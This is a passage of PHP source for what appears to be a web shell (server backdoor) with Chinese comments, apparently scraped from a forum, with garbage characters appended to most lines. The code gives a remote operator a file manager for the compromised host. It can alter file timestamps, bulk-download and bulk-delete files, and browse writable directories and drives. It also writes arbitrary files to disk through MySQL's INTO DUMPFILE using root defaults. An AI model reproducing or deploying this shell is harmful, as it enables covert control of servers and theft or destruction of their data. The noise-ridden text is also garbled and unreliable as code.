  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));& U/ D: ^8 X# k. L  h1 W
  328.                 }& P! ]4 Z9 {# U8 d* q
  329.         }
    6 g8 _" T/ _9 ]  x- A+ x

  330. 7 I3 a" f4 ^/ i' Y' J: I
  331.         // 打包下载# r4 W' N- o) X/ I; i
  332.         elseif($doing == 'downrar') {
    , i4 L+ ]# _) S. E- p
  333.                 if ($dl) {
    + K% Z# l' Q2 O1 g9 X
  334.                         $dfiles='';
    - }$ Y3 i* W. V
  335.                         foreach ($dl as $filepath => $value) {
    : r0 q) L! {" I
  336.                                 $dfiles.=$filepath.',';
    7 @( K- R, V9 j# y! p6 q
  337.                         }, [5 E  Q. Q! e; A5 n
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);% p( r& O1 l$ b) y; H
  339.                         $dl=explode(',',$dfiles);
    % S6 Y/ e+ E: K) I) x
  340.                         $zip=new PHPZip($dl);: l4 Z: E. k' `- u. `
  341.                         $code=$zip->out;
    & u, q6 T. N+ u% i0 ~
  342.                         header('Content-type: application/octet-stream');8 r  `, A, t1 E* n: Q3 }: v
  343.                         header('Accept-Ranges: bytes');
    ' n! `$ H, t9 R$ |; N
  344.                         header('Accept-Length: '.strlen($code));
    9 E! @. S" v' c9 K8 x
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
    9 l+ P% w. _, _$ q7 ~
  346.                         echo $code;
    & l& r; x  C6 ~
  347.                         exit;% r; D" H) u6 F9 b/ [' ~
  348.                 } else {; R1 [: {' m' F' J- ]
  349.                         m('Please select file(s)');+ N4 C) K3 P, i: b$ O
  350.                 }3 Q+ K, u0 ~- r6 j& N/ s
  351.         }
    & S( }+ z  c6 W  C1 A/ F0 c
  352. : \9 h) v2 y( I9 E4 D. @
  353.         // 批量删除文件
    + x9 u3 C0 G. M9 Q0 r; Y1 \
  354.         elseif($doing == 'delfiles') {1 F6 K- ~; p8 n& w
  355.                 if ($dl) {
    2 Y# z2 c( ?" q: L, G7 s& K- k
  356.                         $dfiles='';
    / k+ a0 x# G9 U* f3 S
  357.                         $succ = $fail = 0;! E) R* X+ c- \3 i- Z; g# m* F7 w! w
  358.                         foreach ($dl as $filepath => $value) {1 u& q2 J, N  s, A8 I
  359.                                 if (@unlink($filepath)) {6 e0 a+ l+ c; ~3 r2 z5 ]
  360.                                         $succ++;
    8 ^7 z- ?  ^0 G% `
  361.                                 } else {
    / _( ~! g3 e6 m9 `1 S, O
  362.                                         $fail++;
    9 D6 a3 M2 t! ]8 C
  363.                                 }9 R3 J7 S6 T+ h" z
  364.                         }  c9 k8 g/ B: U" |; ~  y2 o' G
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);9 ~+ S  d+ W+ `+ f! v; P6 J1 d( S( [1 g
  366.                 } else {  Y5 e& {3 B0 h/ k7 b
  367.                         m('Please select file(s)');
    - m) I+ m( `( A7 J
  368.                 }, q1 H8 M" @4 D. `
  369.         }
    # d0 H. O  d3 C
  370. / U, t( k( e3 h2 o9 e6 ~( y
  371.         //操作完毕) W6 Y' `* b7 O% R+ e. }& _
  372.         formhead(array('name'=>'createdir'));
      a! z" A# R  j1 G  P" I0 X, N
  373.         makehide('newdirname');& D! G& [" l0 Q
  374.         makehide('dir',$nowpath);0 s3 ?$ q) i& x5 I+ n! m/ ~1 b
  375.         formfoot();
    # i9 d# H7 L# c3 i. d
  376.         formhead(array('name'=>'fileperm'));
    ( p' P5 g, h- q
  377.         makehide('newperm');
    : Q' Y( x2 d. {0 o: u
  378.         makehide('pfile');
    : f6 D" u- l7 M) I+ W1 {' x1 _
  379.         makehide('dir',$nowpath);
    % ]: ~, ^; L6 |; K. R) n, Z5 ?- T+ y
  380.         formfoot();
    3 W  L: ]$ N& j/ ~) n7 U
  381.         formhead(array('name'=>'copyfile'));
    4 P# N( J- K% V" k. c1 R* K; X: Q
  382.         makehide('sname');  d' v# Y9 h% V7 \8 U
  383.         makehide('tofile');) j3 [4 i6 }. i- S1 k) O6 H$ x% B
  384.         makehide('dir',$nowpath);
    " z9 p0 w5 ^2 d( a) O
  385.         formfoot();% u. o( j0 H/ J/ u& k0 U# F
  386.         formhead(array('name'=>'rename'));8 y% C5 ?- n. g2 o& {6 d0 S
  387.         makehide('oldname');$ U& F) k% c5 O7 A, G3 {
  388.         makehide('newfilename');- D+ X( E- Z; _, s* D
  389.         makehide('dir',$nowpath);
    & B# \! s' {0 J5 P
  390.         formfoot();
    5 N6 r+ Z0 F+ P  g8 }$ g
  391.         formhead(array('name'=>'fileopform'));% Y! X6 w, U5 ~3 ]
  392.         makehide('action');' P' T+ E, k8 w  G/ Y/ ]+ @
  393.         makehide('opfile');
    4 p; K2 n6 E# _4 a
  394.         makehide('dir');
    / P, B/ ^$ r# F
  395.         formfoot();
    " O* l( `, G+ B3 ^* {

  396. ! |6 ~, B- H% f6 {) l+ q
  397.         $free = @disk_free_space($nowpath);$ w* {6 y) |" Y. s
  398.         !$free && $free = 0;
    ; V4 e0 L2 {" I+ w- f4 b
  399.         $all = @disk_total_space($nowpath);
    , b$ n; n7 f) A3 b6 i7 S" Z2 d
  400.         !$all && $all = 0;
    " i4 J; w# ]6 L" q7 A
  401.         $used = $all-$free;1 a# F* p/ C3 O! I
  402.         $used_percent = @round(100/($all/$free),2);! _3 s6 H" N- A
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
    7 n, F3 z1 Q% u5 P) n* P# d
  404. + N9 H3 Z. m. J
  405. ?>
    ! T* i1 {+ ^6 p4 l4 C' j( H3 ~7 b
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    3 O6 e* L4 y9 h' j4 r6 _: o
  407.   <form action="" method="post" id="godir" name="godir">, N5 O' c/ |) n. ~5 g; [3 {
  408.   <tr>
    / z! t# ^9 |9 f3 p- E* F
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    + n2 x" z2 E3 }4 a
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>' B/ I# g( p$ K7 V: H. k4 b- {% T
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
    8 g' j4 p& c" l
  412.   </tr>2 |. A' Z' h8 K8 G" P/ o! q+ [5 ?
  413.   </form># c7 [9 B) U; Z5 p
  414. </table>! O. n/ n& T0 o+ J8 H1 {
  415. <script type="text/javascript">7 n  J/ H9 b7 ]0 T% t
  416. function createdir(){6 S& \) v, g9 e
  417.         var newdirname;
    / y# U6 l$ x1 R) l
  418.         newdirname = prompt('Please input the directory name:', '');* P! @! S% U, V/ \% ?2 j: h
  419.         if (!newdirname) return;. I& ?5 ]0 {5 @. u+ F
  420.         $('createdir').newdirname.value=newdirname;
    2 e; Y3 w8 @( m* u% p0 _& i& I! M) M) w
  421.         $('createdir').submit();( a5 U. h' T/ `- D  [
  422. }, A$ }, p* \8 a$ d( s
  423. function fileperm(pfile){
    $ I7 P- F% n7 p7 q$ B
  424.         var newperm;
    ! X. r$ R8 W  s$ _8 [5 n
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    9 A1 O5 D# ]* n2 V+ U+ ^) m. J5 ^
  426.         if (!newperm) return;; B2 G) u7 @3 n4 ]6 e" p2 W4 [
  427.         $('fileperm').newperm.value=newperm;3 m. F- o1 u4 v3 B
  428.         $('fileperm').pfile.value=pfile;
    . O- z9 F/ I( H7 A: ~
  429.         $('fileperm').submit();
    5 _, }; Z9 H; A. `
  430. }1 @% c, T3 F9 `- x* S) s
  431. function copyfile(sname){
    ! Q0 Y; i9 r3 D# M- |+ _
  432.         var tofile;- `2 X$ P" \' }' g3 g: E4 L
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
    0 k9 H& n' W7 t: ]2 E& j
  434.         if (!tofile) return;
    + l( L* o: Q% {$ A
  435.         $('copyfile').tofile.value=tofile;
    & [- ~7 t0 J; g. r: a  b- E
  436.         $('copyfile').sname.value=sname;
    8 u( w8 G6 U: s
  437.         $('copyfile').submit();
    2 \  V( ]$ z2 N
  438. }
    ) X, c9 C& \% I8 C
  439. function rename(oldname){
    ! J4 [! @: A; R% L# R
  440.         var newfilename;; O8 k% d4 X4 M# q8 ^' V
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    7 I+ g! |  U7 _. {
  442.         if (!newfilename) return;; K+ n( d0 ?. ^2 t( m
  443.         $('rename').newfilename.value=newfilename;
    ' m" \" h& e$ [8 L
  444.         $('rename').oldname.value=oldname;
    4 C: ~$ O# u/ B3 o/ a0 o. k
  445.         $('rename').submit();% j. i& h1 \, ^/ Z/ C
  446. }& L, S) U( ]/ q, k
  447. function dofile(doing,thefile,m){: y: L4 d# V: [. S3 L, U$ l# O
  448.         if (m && !confirm(m)) {
    ) L- Q; d3 s+ b% v% S2 B/ a; V
  449.                 return;
    + a! T- y4 ~; k& Z" N) x
  450.         }7 n* O( q0 [5 i) v6 x5 R. ~
  451.         $('filelist').doing.value=doing;" t) c" e5 D) Y: g7 h% b
  452.         if (thefile){
    ' V5 w! C9 B- I
  453.                 $('filelist').thefile.value=thefile;
    3 L" a/ U  m# [) c1 ^: v( h( @1 U
  454.         }+ u" |, b- I& E+ e$ ^7 @" l7 G% a: U
  455.         $('filelist').submit();
    % @' a0 S  H- C1 ^, W+ B( G  ~( z
  456. }5 ?/ e$ U2 ?6 D" K* [. u' z+ e
  457. function createfile(nowpath){) R9 b' n, l3 Q$ M6 d2 b: A
  458.         var filename;
    ; E! }- ?! x2 n3 ^4 m
  459.         filename = prompt('Please input the file name:', '');
      z& L2 V& E3 b9 P. \. r
  460.         if (!filename) return;5 z9 f1 f1 H% u
  461.         opfile('editfile',nowpath + filename,nowpath);  l1 C; x# D" }' A; d, \8 l; f# ]
  462. }
    6 W* c" `$ g2 _9 q0 ]" S5 T; _
  463. function opfile(action,opfile,dir){
    , }- x5 w) v) y( C/ E
  464.         $('fileopform').action.value=action;
    ! B7 K0 T' l; w( @. I8 @
  465.         $('fileopform').opfile.value=opfile;
    3 X  H+ N, W1 m2 M
  466.         $('fileopform').dir.value=dir;
    . |' Y6 x$ [$ {) m5 \
  467.         $('fileopform').submit();
    9 ]3 s2 l, ?$ }- Y2 J( u
  468. }! l; ?# R' Q8 [" h) D6 l
  469. function godir(dir,view_writable){
    ! ^$ J5 q) O0 G4 a' {7 `/ b
  470.         if (view_writable) {
    & s9 A6 r+ Y) c" c
  471.                 $('godir').view_writable.value=1;* l) B: `* {# \$ J4 f6 z  R; H; u
  472.         }
    ! N0 e9 I7 j) m
  473.         $('godir').dir.value=dir;
    ) O0 W" L3 U/ r& S# I4 K
  474.         $('godir').submit();
    : U* W& B1 D0 ?) E9 Y$ m0 d$ ?
  475. }
    , b& V7 Y; n  i6 Z: j- c: W- J
  476. </script>' }; K" N% _# _; n5 T$ u
  477.   <?php; s5 E, N5 D( d+ x9 u6 `5 x, C2 V6 e
  478.         tbhead();) r2 q* O1 q+ r7 J1 [$ ~
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');& s$ f; b: t* r
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
    5 D* U- U' C1 K: ^
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    . G, x$ \" y) \9 I
  482.         if ($view_writable) {
    ) M" E" E' g2 }% k
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
    9 X% {. V6 M/ U  `1 o* i- c  @! _
  484.         } else {( b# v5 N! L2 u
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    2 T' M& R) l5 l; `
  486.         }
    ) J- i0 x2 S5 w6 q# V( \
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    / b. X- ]* y* [4 @
  488.         if (IS_WIN && IS_COM) {
    + B4 X* q6 m% E2 t
  489.                 $obj = new COM('scripting.filesystemobject');
    / M8 j( |$ V5 z# d- B  v3 O! J
  490.                 if ($obj && is_object($obj)) {$ V5 ^/ Y  b; B" }: p/ H$ K
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    + S& X) W+ _, I- y6 m" }  c1 k
  492.                         foreach($obj->Drives as $drive) {% }) s# ^, Y! a% a
  493.                                 if ($drive->DriveType == 2) {' C% o* ~6 `. }8 D
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).', f- j! e4 }8 @" I4 |  z
  495. Free:'.sizecount($drive->FreeSpace).'
    & G# i0 H- h; y
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    % T" N. j6 k) z9 A' _# M, @
  497.                                 } else {
    7 V: j$ K3 C  }) r. @, z
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');, o% a, V: T, d6 T& w! E
  499.                                 }
    ' z0 e5 A9 X9 W* f( d
  500.                         }
    + x- H7 J" v8 Q/ R" {% S3 R
  501.                 }
    " e+ F: B6 P( P2 @  {; S
  502.         }5 w% I% \6 H0 N- O; O

  503. 0 y) O5 S6 J5 Y+ J4 z
  504.         p('</td></tr></form>');
    & u* p! y% J0 z! z
  505. 5 M4 A2 l! g* P
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
    9 E& m6 _. Y2 F  y% Z
  507. / Q5 {/ y+ I( O5 n  F, @( k
  508.         //查看所有可写文件和目录3 M# f' ^0 Y8 p5 A- z
  509.         $dirdata=array();
    , `; \& w1 f$ \; b9 ^/ ]  y3 T
  510.         $filedata=array();1 w3 F& }9 \% J( d( I+ K) F1 a, C
  511. 7 m& c9 y8 G/ i& |) [3 }! ]% O
  512.         if ($view_writable) {
    1 \# u- `' r& Y1 M; q3 T
  513.                 $dirdata = GetList($nowpath);0 E* B, {2 `" x) v$ o7 W& d% |( S
  514.         } else {
    0 G- m; T9 z+ q8 G
  515.                 // 目录列表' Y8 P% J) `  ?9 p/ t6 l# ^- X
  516.                 $dirs=@opendir($dir);
    . z! M9 {0 P* ]$ j2 C
  517.                 while ($file=@readdir($dirs)) {
    + M5 ]& _! l2 G  Q- v$ ?: _4 u2 Y
  518.                         $filepath=$nowpath.$file;
    4 Z% e. \  K; z8 w2 Q) _+ _
  519.                         if(@is_dir($filepath)){/ }* W" _! ?% l0 }* {# ]
  520.                                 $dirdb['filename']=$file;; G- B. L2 f/ t1 Q5 Y: v+ y. J
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    . d; |) {' ]; |' ]
  522.                                 $dirdb['dirchmod']=getChmod($filepath);
    3 V2 ]4 w& k8 [, T
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    / `" [1 l1 {4 f# o# |/ {& p
  524.                                 $dirdb['fileowner']=getUser($filepath);; B! `/ A  p4 n8 i" v: r- m
  525.                                 $dirdb['dirlink']=$nowpath;9 H0 w+ r+ V! S! f
  526.                                 $dirdb['server_link']=$filepath;
    . U1 _: k( q# M8 C: R; U
  527.                                 $dirdb['client_link']=ue($filepath);% q! s1 g5 {+ O! w' `% W6 }
  528.                                 $dirdata[]=$dirdb;" N8 {. ~$ t$ p+ m+ }9 i( _
  529.                         } else {                ) a7 T3 u* s7 t7 n* E8 k
  530.                                 $filedb['filename']=$file;& _8 l8 ?# p4 f! N' Q# s- E+ A& }
  531.                                 $filedb['size']=sizecount(@filesize($filepath));* I+ Z0 n+ N- [, t) F9 K5 Z; G
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    . e2 S$ e) F) v" Y$ }
  533.                                 $filedb['filechmod']=getChmod($filepath);
    3 `& J0 n2 A) m& _  T% N0 y
  534.                                 $filedb['fileperm']=getPerms($filepath);5 ]. g: H( N8 ]% o! A2 M- _8 C7 E7 \
  535.                                 $filedb['fileowner']=getUser($filepath);2 k0 ^7 C( E* Q9 m, `( z
  536.                                 $filedb['dirlink']=$nowpath;! h! j% ~# u3 v- E9 W) e
  537.                                 $filedb['server_link']=$filepath;
    , U% g3 y) D5 O' x( [
  538.                                 $filedb['client_link']=ue($filepath);
    ) F9 r' P, |# f
  539.                                 $filedata[]=$filedb;- Q- j% e5 t6 `8 \" u
  540.                         }8 Y* @3 o& w: @0 ]5 v
  541.                 }// while
    5 r- p# C& f  a  |. |6 ]6 A3 n
  542.                 unset($dirdb);% ^5 r# w, F( {
  543.                 unset($filedb);! |+ w3 `( x* ~+ F# e
  544.                 @closedir($dirs);
    8 {; {1 U8 j" w+ v0 U% F
  545.         }
    : _4 p' w: P: R, z  X
  546.         @sort($dirdata);
    : |7 O1 g2 I) x* |
  547.         @sort($filedata);$ C% `& |/ \7 y- z9 @
  548.         $dir_i = '0';
    . O) C+ j3 n+ Q: e" k: f% I( G
  549.         foreach($dirdata as $key => $dirdb){0 q5 }3 }1 R$ ]* L" m
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {, W) F: H/ h6 ^! q
  551.                         $thisbg = bg();
    , o8 @/ x+ T0 b  z; p9 |+ x& `
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" A. z' T$ V& X& [/ w* J" X: v
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
    * f- E* z$ P2 V7 U! W
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');) g4 K0 n+ _+ T1 y$ y# L; b
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');# R8 `$ X0 f- `0 n$ Z5 X8 T/ ~
  556.                         p('<td nowrap>--</td>');8 j7 `: f! s! `: k. ~0 q0 c. I
  557.                         p('<td nowrap>');
    ( h: W4 u" d. n0 g: U& ^* a
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');/ ]& M& @+ K* I% s% h1 f+ k
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
    & U# ~2 i. [( g- W
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    ( H4 E9 t5 S; d# b( O* ~, i4 z
  561.                         p('</tr>');
    / G; f: N, a' M+ r: K5 c1 _
  562.                         $dir_i++;3 a5 `3 q2 B% f4 l! b
  563.                 } else {
    0 x. Z, g' b4 X* d. p7 \
  564.                         if($dirdb['filename']=='..') {
    $ u1 }; ~6 ]# C) S9 |
  565.                                 p('<tr class='.bg().'>');
    . c0 I) x" I* \  |7 E4 X
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');' L; y- V0 h% \$ i' C
  567.                                 p('</tr>');; g% i# L6 y+ z) X. d
  568.                         }' i+ G7 }# V- b3 O' f# B  ^! P
  569.                 }/ d9 P0 N+ X2 A( c) N
  570.         }
    $ ]  I0 I5 |1 l$ y

  571. 5 j% J6 x, `# K! b( x
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
    5 O3 T- Q" `" `1 W* V4 B
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
      {' R/ l9 I5 v$ }2 p
  574.         makehide('action','file');
    0 f" F/ @4 q" m3 w* G( b
  575.         makehide('thefile');
    7 O6 t2 V- ~( H( r
  576.         makehide('doing');
    ' c0 @* m' R2 H
  577.         makehide('dir',$nowpath);7 o3 J0 G9 I' ^3 F
  578.         $file_i = '0';3 X! h; h/ E0 X, k% ^
  579.         foreach($filedata as $key => $filedb){! C/ G1 a/ _) `- U$ e. a
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {( q3 Q, D6 x; {$ C
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);. D. K6 b/ P* K- ^5 O2 @7 G# a4 z) p
  582.                         $thisbg = bg();$ K( ^4 Q4 h- P6 D( q8 v8 ?1 l) L* I
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ; o) K+ X: ?, g$ x$ W4 a/ @
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');6 Y/ U3 l) b, h% i% x6 c) z: w
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');: n5 h/ b% Q8 k* S9 `
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');7 A  u. G$ Y. `! k
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');
    ) G6 V6 \& c/ E  ]6 _0 G1 P% D
  588.                         p('<td nowrap>');: H- S; {" S7 L; E& i  G
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');" }4 t5 y2 Z$ ?) k
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
    , ?. }. `1 q/ X* a' s1 c, m
  591.                         p('<td nowrap>');/ c' @: ?( H8 J$ H  H/ X+ {* F& S
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');7 R8 _7 P( S) T$ N# g
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');0 v, w5 e7 [/ @
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
    : T# m3 S" ]+ T1 G9 J$ _8 T0 D
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');1 Y7 J7 u/ B) p
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
    5 h- g" Q* ^) ]2 u8 ]7 B$ t
  597.                         p('</td></tr>');
    ( _7 T: o& Y: |
  598.                         $file_i++;7 P! q& q& y! ]3 ?2 E* S  i
  599.                 }
    ) ^* o( n3 |5 H$ D
  600.         }! e4 M5 I: Q0 E0 g- Y7 Z$ D8 J
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
    * J& j  o; u; }6 g
  602.         p('</form></table>');0 @- D  D9 V2 d" e0 }6 ^
  603. }// end dir
    1 ?, P) k( m  ?/ v. b
  604. . x, H$ ?$ y. ~( J' r" B9 J7 V
  605. elseif ($action == 'sqlfile') {
    % r) y6 b) y2 y  Q/ X' v4 m' ]! p
  606.         if($doing=="mysqlupload"){. Q1 n9 w& o) \, X  W
  607.                 $file = $_FILES['uploadfile'];! s0 O3 c- _+ O! h/ b- x; i1 I
  608.                 $filename = $file['tmp_name'];
    : s( P( P2 P9 S" O  w- Y: x
  609.                 if (file_exists($savepath)) {3 k8 y/ g0 G& i
  610.                         m('The goal file has already existed');5 A: L$ E1 [& l% Y8 X
  611.                 } else {; Y' r: |; |4 R+ N# q: R
  612.                         if(!$filename) {
    5 I* J# k- W. b0 K+ q
  613.                                 m('Please choose a file');8 w, f# ]* u: E- W; B
  614.                         } else {: F# v+ y9 t5 B3 A* v; h
  615.                                 $fp=@fopen($filename,'r');' v+ T/ m9 \$ I/ f# H% U; K$ K
  616.                                 $contents=@fread($fp, filesize($filename));+ n5 n7 y! z4 i: o0 q
  617.                                 @fclose($fp);
    * ]# z, p- h, i. c7 W8 j9 w
  618.                                 $contents = bin2hex($contents);" G% P3 I; T2 U* C
  619.                                 if(!$upname) $upname = $file['name'];
    & Z: I9 \9 B# J
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    * B# |7 Z- C' Q/ t; }7 i* T
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");' k( w/ i: C9 m" b" p4 {
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());& H+ j" A1 b- _9 M* A1 T# a2 S5 r
  623.                         }  R6 H$ P3 H3 V
  624.                 }3 M1 R1 f, C3 Q
  625.         }
    ' \. k6 N4 Z: S% j6 m
  626. ?>  K+ Z/ D  Q* Y4 B
  627. <script type="text/javascript">$ x4 C7 Y1 V" ]2 n7 B3 d
  628. function mysqlfile(doing){
    ( L' [6 O: G, c$ X+ _
  629.         if(!doing) return;
    + q+ p- b9 U- o
  630.         $('doing').value=doing;
    0 G  k# E2 [9 X2 T6 _( {7 x0 O- p
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
      Y( Z, S1 f( Y7 w1 I" d2 S
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;0 l5 s: G! c- M4 T5 {
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;9 Z# D5 C& d7 l1 e! S* E9 q
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
    * u; n, \  e8 a/ W9 |0 p
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    0 y6 ?4 F1 f  d5 l- I# z3 r6 {
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;* ^, a8 y. o" r# c. B" g
  637.         $('mysqlfile').submit();& `& n' X8 S# z1 _6 `
  638. }) j! o' K8 G# r5 N( ^6 N) n' }
  639. </script>, e4 U* |9 t  U4 ?( m& L' t, r3 d/ R/ Z6 r
  640. <?php
    ; H. V- s: ~2 y1 V" w9 |4 L, ?
  641.         !$dbhost && $dbhost = 'localhost';
    1 m; M3 i( X0 h9 @5 y
  642.         !$dbuser && $dbuser = 'root';' f: \+ L, v/ R$ n
  643.         !$dbport && $dbport = '3306';$ |; W' v8 Y: I0 H3 z& J, G, n) a
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');! ^0 i8 s, `) F
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));! e) _( F6 H8 F$ Y4 L+ h
  646.         makehide('action','sqlfile');. ]/ i3 N( l, y4 r' w7 v2 k
  647.         p('<p>');
    : X7 T! [" L6 a
  648.         p('DBHost:');# F% L8 b- B' Y# f5 Y
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    * z0 i# l0 F% V7 R% F6 _& u) ?
  650.         p(':');
    + Y: y" S5 s7 d8 J0 `1 t
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));6 o8 v  {9 g5 I' `1 }& Q5 o
  652.         p('DBUser:');
      E3 |: H* q  D/ O3 I4 e, j
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));- ]) j; r" {, e3 i+ b9 l
  654.         p('DBPass:');( ?. E+ }; z& T' z$ o& ~+ K; R+ F5 @  d
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));5 [! m# [3 o1 ]* G
  656.         p('DBName:');
    - F7 q1 b  e) T7 ^+ w
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));6 H+ w' {  H1 d2 @9 N6 n1 B7 ^
  658.         p('DBCharset:');
    8 [2 n. \: r2 ^: k
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    , G, H4 E5 T, g; ?
  660.         p('</p>');2 `, X6 x1 @& o  D, w- g6 ?
  661.         formfoot();
    1 l1 D4 @% Q9 }: _8 \' p
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    - V7 X" e* z5 h
  663.         p('<h2>Upload file</h2>');
    0 b8 j* G  x3 v7 B) ], O
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');+ V8 ~" ^/ v. }. @8 w' v
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
    / e& i) K1 ^1 I' K, ^
  666.         p('<h2>Download file</h2>');
    2 R9 M! f* ?  T5 n0 j5 N; r/ p
